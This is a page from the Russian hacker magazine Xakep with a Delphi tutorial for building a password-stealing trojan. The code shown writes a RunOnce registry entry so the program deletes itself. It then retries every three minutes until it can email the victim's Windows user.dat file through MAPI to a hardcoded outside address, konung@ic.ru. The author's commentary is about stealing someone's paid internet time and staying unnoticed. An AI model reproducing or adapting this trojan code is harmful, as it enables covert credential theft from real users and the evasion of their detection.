|

Рождение дьявола
Xakep, номер #016, стр. 016-058-3
if Xapakipi then
begin
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce', True);
WriteString('LMD', 'del "'+ParamStr(0)+'"');
Send:=False;
end;
end;
Reg.Free;
То есть просто прописать удаление собственного файла в RunOnce - после выполнения строчка будет удалена системой автоматически. И все - юзер может даже и не узнать никогда, почему у него оказалось на пару-тройку часиков Инета меньше, чем положено.
Чтобы лишний раз не светиться (юзер умный нынче пошел :-P), можно быстренько закругляться, если ничего посылать не нужно:
if not Send then Exit;
Папаша, принимайте дитё!
Настала очередь и для отсылки user.dat. Первым делом его надо найти - я не шучу. Не у всех юзеров виндовза поставлена в C:\WINDOWS. Некоторые выпендриваются и ставят ось, например, в какой-нибудь F:\MUSTDIE). Но это уже непосредственно после того, как получим доступ к почтовым службам. Поэтому сначала определимся: есть ли доступ? Для этого служит функция из Win32API MAPILogon. Если все в порядке, она возвращает ноль. И тогда наступает время генерировать почтовое сообщение и аттачить к нему филе. Подробнее об этом можно почитать в любой книжке по Win32 API. Скажу лишь, что для создания сообщения требуется заполнить структуру MAPIMessage и соответствующие подструктуры MAPIRecipDesc (получатели) и MAPIFileDesc (аттачи). Как видно из исходника, адрес получателя указывается в lpRecips->lpszAddress.
repeat
if MAPILogon(0, nil, nil, 0, 0, @Handle) = 0 then
try
ZeroMemory(@Msg, sizeof(Msg));
with Msg do
begin
lpszNoteText:='message delivery. notification system v.01 |';
lpszSubject:=nil;
nRecipCount:=1;
GetMem(lpRecips, sizeof(TMapiRecipDesc));
ZeroMemory(lpRecips, sizeof(TMapiRecipDesc));
with lpRecips^ do
begin
ulRecipClass:=MAPI_TO;
lpszName:='Xakep';
lpszAddress:='SMTP:konung@ic.ru';
end;
nFileCount:=1;
GetMem(lpFiles, sizeof(TMapiFileDesc));
ZeroMemory(lpFiles, sizeof(TMapiFileDesc));
with lpFiles^ do
begin
GetMem(lpszPathName, 144);
GetWindowsDirectory(lpszPathName, 144);
StrCat(lpszPathName, 'user.dat');
nPosition:=StrLen(lpszNoteText)-4;
end;
MAPISendMail(Handle, 0, Msg, 0, 0);
FreeMem(lpRecips, sizeof(TMapiRecipDesc));
FreeMem(lpFiles^.lpszPathName, 144);
FreeMem(lpFiles, sizeof(TMapiFileDesc));
end;
finally
MAPILogoff(Handle, 0, 0, 0);
Exit;
end;
Sleep(3*60*1000);
until False;
Все. Осталось дожидаться пока юзер прилогинится к своему провайдеру и зайдет в Сеть. Sleep(3*60*1000) - ждем три минуты и потом пытаемся постучаться в дверь снова - не стоит перегружать компьютер ненужной работой, а то сразу станет заметно присутствие посторонних. После того как сообщение отослано, троян быстренько сворачивает свою бурную деятельность. :-)
Назад на стр. 016-058-2 Содержание Вперед на стр. 016-058-4
|